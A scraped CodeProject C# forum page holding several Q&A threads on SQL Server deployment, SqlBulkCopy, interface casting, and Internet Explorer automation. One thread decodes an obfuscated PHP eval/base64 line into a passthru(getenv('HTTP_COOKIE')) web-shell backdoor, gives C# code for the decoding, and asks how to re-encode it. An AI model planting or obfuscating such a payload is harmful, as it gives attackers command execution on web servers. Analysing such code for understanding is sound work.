|
I think what you're looking for is SQL Server Compact Edition, not SQL Server Express edition. SSCE requires only an installation of one or two .NET assemblies, and operates against a database file that can be located anywhere on the filesystem. Also, with SSCE, you can provide a "starter" file with your application with the schema and data already populated.
|
|
|
|
|
bigphildogg86 wrote: I would like the current tables to be installed with the MySQL
One way to do this is to create the MySQL service during installation and then restore the database from a backup which vcontains the data and tables you want to distribute.
bigphildogg86 wrote: maybe using SQL Server Express but couldn't quite find a good explanation of how that would work better
Idea is the same but you can detach/attach the database.
|
|
|
|
|
Well, the string comes from php code:
eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));
But i want to decode it using c#... so i have to decode the string: s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==
It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me.
I know that the result of decode that string should be something like:
{@passthru(getenv("HTTP_COOKIE"));}
Thanks in advancce.
|
|
|
|
|
The code is not GZipped, it's Deflated.
The decoded string is: "?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?"
Code:
string result;
using (StreamReader reader = new StreamReader(new DeflateStream(new MemoryStream(Convert.FromBase64String(code)), CompressionMode.Decompress, true))) {
result = reader.ReadToEnd();
}
Despite everything, the person most likely to be fooling you next is yourself.
modified on Friday, December 5, 2008 8:19 PM
|
|
|
|
|
Big Thanks, very apreciated your answer and your time
|
|
|
|
|
And how can i compress a string... tryed to compress the original string but the reult is different. I´m confused... perhaps someone can help.
Thanks in advance.
|
|
|
|
|
Hello,
i have a question to this article: http://www.codeproject.com/KB/audio-video/SoundViewer.aspx
I want to get the frequency of a sequence, maybe the last 300 milliseconds, because i want to know, for example which "musical note" the lase sequence was, maybe, you can imagine it like the singstar software (sry for the advertising), i only want to know how "high" the person is speaking in the mic.
And how can i get the volume with that somebody speaks in the mic? I need that in integers or other numeric values.
I hope somebody can help me... many thanks
|
|
|
|
|
Is it possible to use SqlBulkCopy when a uniqueIdentifier column is the first column in the destination table? IF so how can I accomplish this.
Also Is there a way to use this line of code some how with a datareader when each datareader record is added to the destination table?
recnum = System.Guid.NewGuid();
FBasic8DataSet.LineItemRow newLineRow = this.fBasic8DataSet1.LineItem.NewLineItemRow();
newLineRow.RecNum = recnum;
Thanks Jon
Here is a code snippet I am using for SQLBulkCopy
string queryString = "SELECT `RecNum`, `Invoice Number`, `Date`, `Horse Name`, `Procedure Code`, `Procedure`, `Qty`, `AMOUNT`, `Cost` FROM `LineItem`";
OdbcCommand command = new OdbcCommand(queryString);
//Update Queries
lineItemTableAdapter1.DeleteWhereInvoiceNumberisNullQuery();
using (OdbcConnection connection = new OdbcConnection(connectionStringParadox))
{
command.Connection = connection;
connection.Open();
readerInv = command.ExecuteReader();
// Perform an initial count on the destination table.
OdbcCommand commandRowCount = new OdbcCommand("SELECT COUNT(*)FROM LineItem.DB");
OdbcConnection connectionRowCount = new OdbcConnection(connectionStringParadox);
commandRowCount.Connection = connectionRowCount;
connectionRowCount.Open();
long countStart = System.Convert.ToInt32(commandRowCount.ExecuteScalar());
MessageBox.Show("Total LineItem records" + Convert.ToString(countStart), Convert.ToString(countStart));
using (SqlConnection destinationConnection = new SqlConnection(destConnectionString))
{
destinationConnection.Open();
// Set up the bulk copy object.
using (SqlBulkCopy bulkCopy = new SqlBulkCopy(destinationConnection))
{
//Map columns
//SqlBulkCopyColumnMapping mapID =
new SqlBulkCopyColumnMapping("RecNum", "RecNum"); This maps the two colunms in question and causes errors becasue column types are incompatable. Source is autoInc(paradox Int) source is uniqueIdentifier.
bulkCopy.ColumnMappings.Add(mapID);
SqlBulkCopyColumnMapping mapInvNum =
new SqlBulkCopyColumnMapping("Invoice Number", "InvNum");
bulkCopy.ColumnMappings.Add(mapInvNum);
SqlBulkCopyColumnMapping mapPaid =
new SqlBulkCopyColumnMapping("Date", "DateWorkedOn");
bulkCopy.ColumnMappings.Add(mapPaid);
SqlBulkCopyColumnMapping mapInvTot =
new SqlBulkCopyColumnMapping("Horse Name", "HorseName");
bulkCopy.ColumnMappings.Add(mapInvTot);
SqlBulkCopyColumnMapping mapStat =
new SqlBulkCopyColumnMapping("Procedure Code", "ProcedureCode");
bulkCopy.ColumnMappings.Add(mapStat);
SqlBulkCopyColumnMapping mapDate =
new SqlBulkCopyColumnMapping("Procedure", "ShoeingProcedure");
bulkCopy.ColumnMappings.Add(mapDate);
SqlBulkCopyColumnMapping mapNotes =
new SqlBulkCopyColumnMapping("Qty", "Qty");
bulkCopy.ColumnMappings.Add(mapNotes);
SqlBulkCopyColumnMapping mapSatestx =
new SqlBulkCopyColumnMapping("AMOUNT", "Amount");
bulkCopy.ColumnMappings.Add(mapSatestx);
SqlBulkCopyColumnMapping mapcost =
new SqlBulkCopyColumnMapping("Cost", "Cost");
bulkCopy.ColumnMappings.Add(mapcost);
bulkCopy.DestinationTableName = "LineItem";
bulkCopy.NotifyAfter = 25;
bulkCopy.WriteToServer(readerInv);
bulkCopy.Close();
// Perform a final count on the destination
// table to see how many rows were added.
long countEnd = System.Convert.ToInt32(commandRowCount.ExecuteScalar());
MessageBox.Show("Total Line Item records copied" + countEnd);
|
|
|
|
|
First, do use code block formatting for code excerpts this large.
Jon Stroh wrote: it possible to use SqlBulkCopy when a uniqueIdentifier column is the first column in the destination table
You don't have to define the mapping for this column. SQL Server will generate a new calue for each row
Jon Stroh wrote: Also Is there a way to use this line of code some how with a datareader when each datareader record is added to the destination table?
recnum = System.Guid.NewGuid();
If you can execute that code in the statement, but most of the databases won't accept this. One way is that first you fill a datatable from the source then yu loop through rows and add GUID and after that you insert the data to the destination.
|
|
|
|
|
Hi,
I am using an interface a stepping through a list for my application to perform a method. (listed below)
foreach (IPetAnimalKeeper pettable in zooAnimals.OfType<IPetAnimalKeeper>())
{
pettable.pet();
}
Is there a way that i can then check the type of 'pettable' ?
reason being i would then like to call another method but would need to know the type first.
For instance if i wanted to call a 'move()' method.......i would need to know which animals 'move()' to call.
I've just tried putting in a 'break point' at the end of the 'foreach' and when i hover the mouse over 'pettable' i can see it's a Cat but if i code
pettable. i can only access the methods in 'pettable' not in the Cat class ?
Thats the methods i'd like access to.
Sorry, i know thats a bitconfusing.
Thanks
Neil
modified on Friday, December 5, 2008 12:48 PM
|
|
|
|
|
You can use one of the following methods to do that:
if (pettable.GetType() == typeof(myType))
{
...
}
if (pettable.GetType().Name == "myType")
{
...
}
if (pettable is myType)
{
...
}
But you probably shouldn't do it that way.
When you are looking for a certain method to call, you should always do so by using an interface. Avoid looking for a concrete type in your code wherever possible. This is bad coding style!
It is a far better solution to create another interface for each method you want to know about, exactly like you did it with the pet() method. This is one of the main purposes of the syntactical construct interface: They mark a type to have a certain member (i.e. method/property/event).
Regards
Thomas
www.thomas-weller.de
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. Programmer - an organism that turns coffee into software.
|
|
|
|
|
Thanks Thomas,
I'm new to interfaces so thats probably why i've left that way out just now (not too confident with them !).
Regarding the first option you gave, i understand how that works, but still cant see how it will allow me to access the methods in the animals own class....say Cat class ?
Can i cast the 'pettable' to instance of an object 'Cat' ?
|
|
|
|
|
nlowdon wrote: Can i cast the 'pettable' to instance of an object 'Cat' ?
Exactly.
Regards
Thomas
www.thomas-weller.de
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. Programmer - an organism that turns coffee into software.
|
|
|
|
|
Instead of that, have an interface that declares the Move(), and have your animals implement the IPetAnimalKeeper, but if your animal can move, also make them implement the interface IMovingPet
if (pettable is IMovingPet)
{
((IMovingPet)pettable).Move();
}
There are other ways, probably more elegant.
|
|
|
|
|
my programme needs something in a website. But to work it correctly, website should be loaded fully. so i thought that if i obtain the value of status bar "ready" or any number represents same thing, i can achieve the aim. So is there any function in .net that returns the value of status bar. thank you
|
|
|
|
|
You would have to search the windows of internet explorer through WinAPI. Enum all of the windows and check the text of the statusbar (the statusbar is a window that gets enum-ed) for the value that it should be.
Regards,
Thomas Stockwell
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Visit my Blog
|
|
|
|
|
thanks for your answer but this seems a little bit hard for me without any code.
|
|
|
|
|
You will definitely have to research this more, I do not have any code handy. I am only guiding you in the right direction for your own research.
Regards,
Thomas Stockwell
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Visit my Blog
|
|
|
|
|
If you use the WebBrowser component in the ToolBox, it'll fire a DocumentCompleted event that tells you when the page is done loading.
|
|
|
|
|
thank you senior i will try webbrowser component
|
|
|
|
|
that's right. it is working but in fact i need status bar variables on the classical internet explorer pages. because i am using virtual keyboard strokes and it is using some more components on explorer page. is there any dll to use internet explorer features. for example to add a new website to my favourite list.
|
|
|
|
|
kralece wrote: it is working but in fact i need status bar variables on the classical internet explorer pages.
You can't get them. They're not exposed by anything.
kralece wrote: is there any dll to use internet explorer features. for example to add a new website to my favourite list.
Yes and no. You don't get to control the full functionality of IE. For exmaple, there is no API call to create a Favorites entry. That's nothing but a shortcut created in the users Favorites folder with a URL in it instead of a file path. Other stuff is exposed by the WinInet[^] API functions.
|
|
|
|
|
thank you sir for your enlightening informations
|
|
|
|
|
Is there any tool to create a simple line diagram or other diagrams? If so, how can I get it/them?
I can't find any in the toolbox for Microsoft Visual C# 2008 Express Edition, Windows Forms Application.
|
|
|
|
|